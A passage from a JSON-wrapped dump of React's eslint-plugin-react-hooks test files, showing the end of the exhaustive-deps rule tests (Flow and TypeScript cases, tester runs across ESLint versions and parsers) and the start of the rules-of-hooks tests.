\" +\n            \"To fix this, wrap the initialization of 'foo' in its own useMemo() Hook.\",\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function useCustomCallback(callback, deps) {\n          return useCallback(callback, deps)\n        }\n      `,\n      errors: [\n        {\n          message:\n            'React Hook useCallback received a function whose dependencies are unknown. Pass an inline function instead.',\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent({ theme }) {\n          const onStuff = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          useEffect(() => {\n            onStuff();\n          }, [onStuff]);\n          React.useEffect(() => {\n            onStuff();\n          }, [onStuff]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            'Functions returned from `useEffectEvent` must not be included in the dependency array. ' +\n            'Remove `onStuff` from the list.',\n          suggestions: [\n            {\n              desc: 'Remove the dependency `onStuff`',\n              output: normalizeIndent`\n                function MyComponent({ theme }) {\n                  const onStuff = useEffectEvent(() => {\n                    showNotification(theme);\n                  });\n                  useEffect(() => {\n                    onStuff();\n                  }, []);\n                  React.useEffect(() => {\n                    onStuff();\n                  }, [onStuff]);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            'Functions returned from `useEffectEvent` must not be included in the dependency array. ' +\n            'Remove `onStuff` from the list.',\n          suggestions: [\n            {\n              desc: 'Remove the dependency `onStuff`',\n              output: normalizeIndent`\n                function MyComponent({ theme }) {\n                  const onStuff = useEffectEvent(() => {\n                    showNotification(theme);\n                  });\n                  useEffect(() => {\n                    onStuff();\n                  }, [onStuff]);\n                  React.useEffect(() => {\n                    onStuff();\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n  ],\n};\n\n// Tests that are only valid/invalid across parsers supporting Flow\nconst testsFlow = {\n  valid: [\n    // Ignore Generic Type Variables for arrow functions\n    {\n      code: normalizeIndent`\n        function Example({ prop }) {\n          const bar = useEffect(<T>(a: T): Hello => {\n            prop();\n          }, [prop]);\n        }\n      `,\n    },\n    // Flow type aliases in type assertions should not be flagged as missing dependencies\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          type ColumnKey = 'id' | 'name';\n          type Item = {id: string, name: string};\n\n          const columns = useMemo(\n            () => [\n              {\n                type: 'text',\n                key: 'id',\n              } as TextColumn<ColumnKey, Item>,\n            ],\n            [],\n          );\n        }\n      `,\n    },\n  ],\n  invalid: [\n    {\n      code: normalizeIndent`\n        hook useExample(a) {\n          useEffect(() => {\n            console.log(a);\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'a'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [a]',\n              output: normalizeIndent`\n                hook useExample(a) {\n                  useEffect(() => {\n                    console.log(a);\n                  }, [a]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n      function Foo() {\n        const foo = ({}: any);\n        useMemo(() => {\n          console.log(foo);\n        }, [foo]);\n      }\n    `,\n      errors: [\n        {\n          message:\n            \"The 'foo' object makes the dependencies of useMemo Hook (at line 6) change on every render. \" +\n            \"Move it inside the useMemo callback. Alternatively, wrap the initialization of 'foo' in its own useMemo() Hook.\",\n          suggestions: undefined,\n        },\n      ],\n    },\n  ],\n};\n\n// Tests that are only valid/invalid across parsers supporting TypeScript\nconst testsTypescript = {\n  valid: [\n    {\n      // `ref` is still constant, despite the cast.\n      code: normalizeIndent`\n        function MyComponent() {\n          const ref = useRef() as React.MutableRefObject<HTMLDivElement>;\n          useEffect(() => {\n            console.log(ref.current);\n          }, []);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const [state, setState] = React.useState<number>(0);\n\n          useEffect(() => {\n            const someNumber: typeof state = 2;\n            setState(prevState => prevState + someNumber);\n          }, [])\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const [state, setState] = React.useState<number>(0);\n\n          useSpecialEffect(() => {\n            const someNumber: typeof state = 2;\n            setState(prevState => prevState + someNumber);\n          })\n        }\n      `,\n      options: [\n        {\n          additionalHooks: 'useSpecialEffect',\n          experimental_autoDependenciesHooks: ['useSpecialEffect'],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function App() {\n          const foo = {x: 1};\n          React.useEffect(() => {\n            const bar = {x: 2};\n            const baz = bar as typeof foo;\n            console.log(baz);\n          }, []);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function App(props) {\n          React.useEffect(() => {\n            console.log(props.test);\n          }, [props.test] as const);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function App(props) {\n          React.useEffect(() => {\n            console.log(props.test);\n          }, [props.test] as any);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function App(props) {\n          React.useEffect((() => {\n            console.log(props.test);\n          }) as any, [props.test]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function useMyThing<T>(): void {\n          useEffect(() => {\n            let foo: T;\n            console.log(foo);\n          }, []);\n        }\n      `,\n    },\n  ],\n  invalid: [\n    {\n      // `local` is still non-constant, despite the cast.\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = {} as string;\n          useEffect(() => {\n            console.log(local);\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'local'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = {} as string;\n                  useEffect(() => {\n                    console.log(local);\n                  }, [local]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function App() {\n          const foo = {x: 1};\n          const bar = {x: 2};\n          useEffect(() => {\n            const baz = bar as typeof foo;\n            console.log(baz);\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'bar'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [bar]',\n              output: normalizeIndent`\n                function App() {\n                  const foo = {x: 1};\n                  const bar = {x: 2};\n                  useEffect(() => {\n                    const baz = bar as typeof foo;\n                    console.log(baz);\n                  }, [bar]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const pizza = {};\n\n          useEffect(() => ({\n            crust: pizza.crust,\n            toppings: pizza?.toppings,\n          }), []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has missing dependencies: 'pizza.crust' and 'pizza?.toppings'. \" +\n            'Either include them or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [pizza.crust, pizza?.toppings]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const pizza = {};\n\n                  useEffect(() => ({\n                    crust: pizza.crust,\n                    toppings: pizza?.toppings,\n                  }), [pizza.crust, pizza?.toppings]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const pizza = {};\n\n          useEffect(() => ({\n            crust: pizza?.crust,\n            density: pizza.crust.density,\n          }), []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'pizza.crust'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [pizza.crust]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const pizza = {};\n\n                  useEffect(() => ({\n                    crust: pizza?.crust,\n                    density: pizza.crust.density,\n                  }), [pizza.crust]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const pizza = {};\n\n          useEffect(() => ({\n            crust: pizza.crust,\n            density: pizza?.crust.density,\n          }), []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'pizza.crust'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [pizza.crust]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const pizza = {};\n\n                  useEffect(() => ({\n                    crust: pizza.crust,\n                    density: pizza?.crust.density,\n                  }), [pizza.crust]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const pizza = {};\n\n          useEffect(() => ({\n            crust: pizza?.crust,\n            density: pizza?.crust.density,\n          }), []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'pizza?.crust'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [pizza?.crust]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const pizza = {};\n\n                  useEffect(() => ({\n                    crust: pizza?.crust,\n                    density: pizza?.crust.density,\n                  }), [pizza?.crust]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    // Regression test.\n    {\n      code: normalizeIndent`\n        function Example(props) {\n          useEffect(() => {\n            let topHeight = 0;\n            topHeight = props.upperViewHeight;\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'props.upperViewHeight'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.upperViewHeight]',\n              output: normalizeIndent`\n                function Example(props) {\n                  useEffect(() => {\n                    let topHeight = 0;\n                    topHeight = props.upperViewHeight;\n                  }, [props.upperViewHeight]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    // Regression test.\n    {\n      code: normalizeIndent`\n        function Example(props) {\n          useEffect(() => {\n            let topHeight = 0;\n            topHeight = props?.upperViewHeight;\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'props?.upperViewHeight'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props?.upperViewHeight]',\n              output: normalizeIndent`\n                function Example(props) {\n                  useEffect(() => {\n                    let topHeight = 0;\n                    topHeight = props?.upperViewHeight;\n                  }, [props?.upperViewHeight]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const [state, setState] = React.useState<number>(0);\n\n          useEffect(() => {\n            const someNumber: typeof state = 2;\n            setState(prevState => prevState + someNumber + state);\n          }, [])\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'state'. \" +\n            'Either include it or remove the dependency array. ' +\n            `You can also do a functional update 'setState(s => ...)' ` +\n            `if you only need 'state' in the 'setState' call.`,\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [state]',\n              output: normalizeIndent`\n              function MyComponent() {\n                const [state, setState] = React.useState<number>(0);\n\n                useEffect(() => {\n                  const someNumber: typeof state = 2;\n                  setState(prevState => prevState + someNumber + state);\n                }, [state])\n              }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const [state, setState] = React.useState<number>(0);\n\n          useSpecialEffect(() => {\n            const someNumber: typeof state = 2;\n            setState(prevState => prevState + someNumber + state);\n          }, [])\n        }\n      `,\n      options: [\n        {\n          additionalHooks: 'useSpecialEffect',\n          experimental_autoDependenciesHooks: ['useSpecialEffect'],\n        },\n      ],\n      errors: [\n        {\n          message:\n            \"React Hook useSpecialEffect has a missing dependency: 'state'. \" +\n            'Either include it or remove the dependency array. ' +\n            `You can also do a functional update 'setState(s => ...)' ` +\n            `if you only need 'state' in the 'setState' call.`,\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [state]',\n              output: normalizeIndent`\n              function MyComponent() {\n                const [state, setState] = React.useState<number>(0);\n\n                useSpecialEffect(() => {\n                  const someNumber: typeof state = 2;\n                  setState(prevState => prevState + someNumber + state);\n                }, [state])\n              }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const [state, setState] = React.useState<number>(0);\n\n          useMemo(() => {\n            const someNumber: typeof state = 2;\n            console.log(someNumber);\n          }, [state])\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useMemo has an unnecessary dependency: 'state'. \" +\n            'Either exclude it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: []',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const [state, setState] = React.useState<number>(0);\n\n                  useMemo(() => {\n                    const someNumber: typeof state = 2;\n                    console.log(someNumber);\n                  }, [])\n                }\n                `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Foo() {\n          const foo = {} as any;\n          useMemo(() => {\n            console.log(foo);\n          }, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' object makes the dependencies of useMemo Hook (at line 6) change on every render. \" +\n            \"Move it inside the useMemo callback. Alternatively, wrap the initialization of 'foo' in its own useMemo() Hook.\",\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function useCustomCallback(callback, deps) {\n          return useCallback(callback as any, deps)\n        }\n      `,\n      errors: [\n        {\n          message:\n            'React Hook useCallback received a function whose dependencies are unknown. Pass an inline function instead.',\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            console.log(props.foo);\n          });\n        }\n      `,\n      options: [{requireExplicitEffectDeps: true}],\n      errors: [\n        {\n          message:\n            'React Hook useEffect always requires dependencies. Please add a dependency array or an explicit `undefined`',\n          suggestions: undefined,\n        },\n      ],\n    },\n  ],\n};\n\n// Tests that are only valid/invalid for `@typescript-eslint/parser@4.x`\nconst testsTypescriptEslintParserV4 = {\n  valid: [],\n  invalid: [\n    // TODO: Should also be invalid as part of the JS test suite i.e. be invalid with babel eslint parsers.\n    // It doesn't use any explicit types but any JS is still valid TS.\n    {\n      code: normalizeIndent`\n        function Foo({ Component }) {\n          React.useEffect(() => {\n            console.log(<Component />);\n          }, []);\n        };\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook React.useEffect has a missing dependency: 'Component'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [Component]',\n              output: normalizeIndent`\n              function Foo({ Component }) {\n                React.useEffect(() => {\n                  console.log(<Component />);\n                }, [Component]);\n              };\n            `,\n            },\n          ],\n        },\n      ],\n    },\n  ],\n};\n\n// For easier local testing\nif (!process.env.CI) {\n  let only = [];\n  let skipped = [];\n  [\n    ...tests.valid,\n    ...tests.invalid,\n    ...testsFlow.valid,\n    ...testsFlow.invalid,\n    ...testsTypescript.valid,\n    ...testsTypescript.invalid,\n    ...testsTypescriptEslintParserV4.valid,\n    ...testsTypescriptEslintParserV4.invalid,\n  ].forEach(t => {\n    if (t.skip) {\n      delete t.skip;\n      skipped.push(t);\n    }\n    if (t.only) {\n      delete t.only;\n      only.push(t);\n    }\n  });\n  const predicate = t => {\n    if (only.length > 0) {\n      return only.indexOf(t) !== -1;\n    }\n    if (skipped.length > 0) {\n      return skipped.indexOf(t) === -1;\n    }\n    return true;\n  };\n  tests.valid = tests.valid.filter(predicate);\n  tests.invalid = tests.invalid.filter(predicate);\n  testsFlow.valid = testsFlow.valid.filter(predicate);\n  testsFlow.invalid = testsFlow.invalid.filter(predicate);\n  testsTypescript.valid = testsTypescript.valid.filter(predicate);\n  testsTypescript.invalid = testsTypescript.invalid.filter(predicate);\n  testsTypescriptEslintParserV4.valid =\n    testsTypescriptEslintParserV4.valid.filter(predicate);\n  testsTypescriptEslintParserV4.invalid =\n    testsTypescriptEslintParserV4.invalid.filter(predicate);\n}\n\ndescribe('rules-of-hooks/exhaustive-deps', () => {\n  const parserOptionsV7 = {\n    ecmaFeatures: {\n      jsx: true,\n    },\n    ecmaVersion: 6,\n    sourceType: 'module',\n  };\n\n  const languageOptionsV9 = {\n    ecmaVersion: 6,\n    sourceType: 'module',\n    parserOptions: {\n      ecmaFeatures: {\n        jsx: true,\n      },\n    },\n  };\n\n  const testsBabelEslint = tests;\n\n  const testsHermesParser = {\n    valid: [...testsFlow.valid, ...tests.valid],\n    invalid: [...testsFlow.invalid, ...tests.invalid],\n  };\n\n  new ESLintTesterV7({\n    parser: require.resolve('babel-eslint'),\n    parserOptions: parserOptionsV7,\n  }).run(\n    'eslint: v7, parser: babel-eslint',\n    ReactHooksESLintRule,\n    testsBabelEslint\n  );\n\n  new ESLintTesterV9({\n    languageOptions: {\n      ...languageOptionsV9,\n      parser: require('@babel/eslint-parser'),\n    },\n  }).run(\n    'eslint: v9, parser: @babel/eslint-parser',\n    ReactHooksESLintRule,\n    testsBabelEslint\n  );\n\n  new ESLintTesterV7({\n    parser: require.resolve('hermes-eslint'),\n    parserOptions: {\n      sourceType: 'module',\n      enableExperimentalComponentSyntax: true,\n    },\n  }).run(\n    'eslint: v7, parser: hermes-eslint',\n    ReactHooksESLintRule,\n    testsHermesParser\n  );\n\n  new ESLintTesterV9({\n    languageOptions: {\n      ...languageOptionsV9,\n      parser: require('hermes-eslint'),\n      parserOptions: {\n        sourceType: 'module',\n        enableExperimentalComponentSyntax: true,\n      },\n    },\n  }).run(\n    'eslint: v9, parser: hermes-eslint',\n    ReactHooksESLintRule,\n    testsHermesParser\n  );\n\n  const testsTypescriptEslintParser = {\n    valid: [...testsTypescript.valid, ...tests.valid],\n    invalid: [...testsTypescript.invalid, ...tests.invalid],\n  };\n\n  new ESLintTesterV7({\n    parser: require.resolve('@typescript-eslint/parser-v2'),\n    parserOptions: parserOptionsV7,\n  }).run(\n    'eslint: v7, parser: @typescript-eslint/parser@2.x',\n    ReactHooksESLintRule,\n    testsTypescriptEslintParser\n  );\n\n  new ESLintTesterV9({\n    languageOptions: {\n      ...languageOptionsV9,\n      parser: require('@typescript-eslint/parser-v2'),\n    },\n  }).run(\n    'eslint: v9, parser: @typescript-eslint/parser@2.x',\n    ReactHooksESLintRule,\n    testsTypescriptEslintParser\n  );\n\n  new ESLintTesterV7({\n    parser: require.resolve('@typescript-eslint/parser-v3'),\n    parserOptions: parserOptionsV7,\n  }).run(\n    'eslint: v7, parser: @typescript-eslint/parser@3.x',\n    ReactHooksESLintRule,\n    testsTypescriptEslintParser\n  );\n\n  new ESLintTesterV9({\n    languageOptions: {\n      ...languageOptionsV9,\n      parser: require('@typescript-eslint/parser-v3'),\n    },\n  }).run(\n    'eslint: v9, parser: @typescript-eslint/parser@3.x',\n    ReactHooksESLintRule,\n    testsTypescriptEslintParser\n  );\n\n  new ESLintTesterV7({\n    parser: require.resolve('@typescript-eslint/parser-v4'),\n    parserOptions: parserOptionsV7,\n  }).run(\n    'eslint: v7, parser: @typescript-eslint/parser@4.x',\n    ReactHooksESLintRule,\n    {\n      valid: [\n        ...testsTypescriptEslintParserV4.valid,\n        ...testsTypescriptEslintParser.valid,\n      ],\n      invalid: [\n        ...testsTypescriptEslintParserV4.invalid,\n        ...testsTypescriptEslintParser.invalid,\n      ],\n    }\n  );\n\n  new ESLintTesterV9({\n    languageOptions: {\n      ...languageOptionsV9,\n      parser: require('@typescript-eslint/parser-v4'),\n    },\n  }).run(\n    'eslint: v9, parser: @typescript-eslint/parser@4.x',\n    ReactHooksESLintRule,\n    {\n      valid: [\n        ...testsTypescriptEslintParserV4.valid,\n        ...testsTypescriptEslintParser.valid,\n      ],\n      invalid: [\n        ...testsTypescriptEslintParserV4.invalid,\n        ...testsTypescriptEslintParser.invalid,\n      ],\n    }\n  );\n\n  new ESLintTesterV7({\n    parser: require.resolve('@typescript-eslint/parser-v5'),\n    parserOptions: parserOptionsV7,\n  }).run(\n    'eslint: v7, parser: @typescript-eslint/parser@^5.0.0-0',\n    ReactHooksESLintRule,\n    {\n      valid: [\n        ...testsTypescriptEslintParserV4.valid,\n        ...testsTypescriptEslintParser.valid,\n      ],\n      invalid: [\n        ...testsTypescriptEslintParserV4.invalid,\n        ...testsTypescriptEslintParser.invalid,\n      ],\n    }\n  );\n\n  new ESLintTesterV9({\n    languageOptions: {\n      ...languageOptionsV9,\n      parser: require('@typescript-eslint/parser-v5'),\n    },\n  }).run(\n    'eslint: v9, parser: @typescript-eslint/parser@^5.0.0',\n    ReactHooksESLintRule,\n    {\n      valid: [\n        ...testsTypescriptEslintParserV4.valid,\n        ...testsTypescriptEslintParser.valid,\n      ],\n      invalid: [\n        ...testsTypescriptEslintParserV4.invalid,\n        ...testsTypescriptEslintParser.invalid,\n      ],\n    }\n  );\n});\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/__tests__/ESLintRulesOfHooks-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @jest-environment node\n */\n\n'use strict';\n\nconst ESLintTesterV7 = require('eslint-v7').RuleTester;\nconst ESLintTesterV9 = require('eslint-v9').RuleTester;\nconst ReactHooksESLintPlugin = require('eslint-plugin-react-hooks');\nconst ReactHooksESLintRule =\n  ReactHooksESLintPlugin.default.rules['rules-of-hooks'];\n\n/**\n * A string template tag that removes padding from the left side of multi-line strings\n * @param {Array} strings array of code strings (only one expected)\n */\nfunction normalizeIndent(strings) {\n  const codeLines = strings[0].split('\\n');\n  const leftPadding = codeLines[1].match(/\\s+/)[0];\n  return codeLines.map(line => line.slice(leftPadding.length)).join('\\n');\n}\n\n// ***************************************************\n// For easier local testing, you can add to any case:\n// {\n//   skip: true,\n//   --or--\n//   only: true,\n//   ...\n// }\n// ***************************************************\n\nconst allTests = {\n  valid: [\n    {\n      code: normalizeIndent`\n        // Valid because components can use hooks.\n        function ComponentWithHook() {\n          useHook();\n        }\n      `,\n    },\n    {\n      syntax: 'flow',\n      code: normalizeIndent`\n        // Component syntax\n        component Button() {\n          useHook();\n          return <div>Button!</div>;\n        }\n      `,\n    },\n    {\n      syntax: 'flow',\n      code: normalizeIndent`\n        // Hook syntax\n        hook useSampleHook() {\n          useHook();\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because components can use hooks.\n        function createComponentWithHook() {\n          return function ComponentWithHook() {\n            useHook();\n          };\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can use hooks.\n        function useHookWithHook() {\n          useHook();\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can use hooks.\n        function createHook() {\n          return function useHookWithHook() {\n            useHook();\n          }\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because components can call functions.\n        function ComponentWithNormalFunction() {\n          doSomething();\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because functions can call functions.\n        function normalFunctionWithNormalFunction() {\n          doSomething();\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because functions can call functions.\n        function normalFunctionWithConditionalFunction() {\n          if (cond) {\n            doSomething();\n          }\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because functions can call functions.\n        function functionThatStartsWithUseButIsntAHook() {\n          if (cond) {\n            userFetch();\n          }\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid although unconditional return doesn't make sense and would fail other rules.\n        // We could make it invalid but it doesn't matter.\n        function useUnreachable() {\n          return;\n          useHook();\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can call hooks.\n        function useHook() { useState(); }\n        const whatever = function useHook() { useState(); };\n        const useHook1 = () => { useState(); };\n        let useHook2 = () => useState();\n        useHook2 = () => { useState(); };\n        ({useHook: () => { useState(); }});\n        ({useHook() { useState(); }});\n        const {useHook3 = () => { useState(); }} = {};\n        ({useHook = () => { useState(); }} = {});\n        Namespace.useHook = () => { useState(); };\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can call hooks.\n        function useHook() {\n          useHook1();\n          useHook2();\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can call hooks.\n        function createHook() {\n          return function useHook() {\n            useHook1();\n            useHook2();\n          };\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can call hooks.\n        function useHook() {\n          useState() && a;\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can call hooks.\n        function useHook() {\n          return useHook1() + useHook2();\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can call hooks.\n        function useHook() {\n          return useHook1(useHook2());\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can be used in anonymous arrow-function arguments\n        // to forwardRef.\n        const FancyButton = React.forwardRef((props, ref) => {\n          useHook();\n          return <button {...props} ref={ref} />\n        });\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can be used in anonymous function arguments to\n        // forwardRef.\n        const FancyButton = React.forwardRef(function (props, ref) {\n          useHook();\n          return <button {...props} ref={ref} />\n        });\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can be used in anonymous function arguments to\n        // forwardRef.\n        const FancyButton = forwardRef(function (props, ref) {\n          useHook();\n          return <button {...props} ref={ref} />\n        });\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can be used in anonymous function arguments to\n        // React.memo.\n        const MemoizedFunction = React.memo(props => {\n          useHook();\n          return <button {...props} />\n        });\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can be used in anonymous function arguments to\n        // memo.\n        const MemoizedFunction = memo(function (props) {\n          useHook();\n          return <button {...props} />\n        });\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because classes can call functions.\n        // We don't consider these to be hooks.\n        class C {\n          m() {\n            this.useHook();\n            super.useHook();\n          }\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid -- this is a regression test.\n        jest.useFakeTimers();\n        beforeEach(() => {\n          jest.useRealTimers();\n        })\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because they're not matching use[A-Z].\n        fooState();\n        _use();\n        _useState();\n        use_hook();\n        // also valid because it's not matching the PascalCase namespace\n        jest.useFakeTimer()\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Regression test for some internal code.\n        // This shows how the \"callback rule\" is more relaxed,\n        // and doesn't kick in unless we're confident we're in\n        // a component or a hook.\n        function makeListener(instance) {\n          each(pixelsWithInferredEvents, pixel => {\n            if (useExtendedSelector(pixel.id) && extendedButton) {\n              foo();\n            }\n          });\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // This is valid because \"use\"-prefixed functions called in\n        // unnamed function arguments are not assumed to be hooks.\n        React.unknownFunction((foo, bar) => {\n          if (foo) {\n            useNotAHook(bar)\n          }\n        });\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // This is valid because \"use\"-prefixed functions called in\n        // unnamed function arguments are not assumed to be hooks.\n        unknownFunction(function(foo, bar) {\n          if (foo) {\n            useNotAHook(bar)\n          }\n        });\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Regression test for incorrectly flagged valid code.\n        function RegressionTest() {\n          const foo = cond ? a : b;\n          useState();\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because exceptions abort rendering\n        function RegressionTest() {\n          if (page == null) {\n            throw new Error('oh no!');\n          }\n          useState();\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because the loop doesn't change the order of hooks calls.\n        function RegressionTest() {\n          const res = [];\n          const additionalCond = true;\n          for (let i = 0; i !== 10 && additionalCond; ++i ) {\n            res.push(i);\n          }\n          React.useLayoutEffect(() => {});\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Is valid but hard to compute by brute-forcing\n        function MyComponent() {\n          // 40 conditions\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n\n          // 10 hooks\n          useHook();\n          useHook();\n          useHook();\n          useHook();\n          useHook();\n          useHook();\n          useHook();\n          useHook();\n          useHook();\n          useHook();\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because the neither the conditions before or after the hook affect the hook call\n        // Failed prior to implementing BigInt because pathsFromStartToEnd and allPathsFromStartToEnd were too big and had rounding errors\n        const useSomeHook = () => {};\n\n        const SomeName = () => {\n          const filler = FILLER ?? FILLER ?? FILLER;\n          const filler2 = FILLER ?? FILLER ?? FILLER;\n          const filler3 = FILLER ?? FILLER ?? FILLER;\n          const filler4 = FILLER ?? FILLER ?? FILLER;\n          const filler5 = FILLER ?? FILLER ?? FILLER;\n          const filler6 = FILLER ?? FILLER ?? FILLER;\n          const filler7 = FILLER ?? FILLER ?? FILLER;\n          const filler8 = 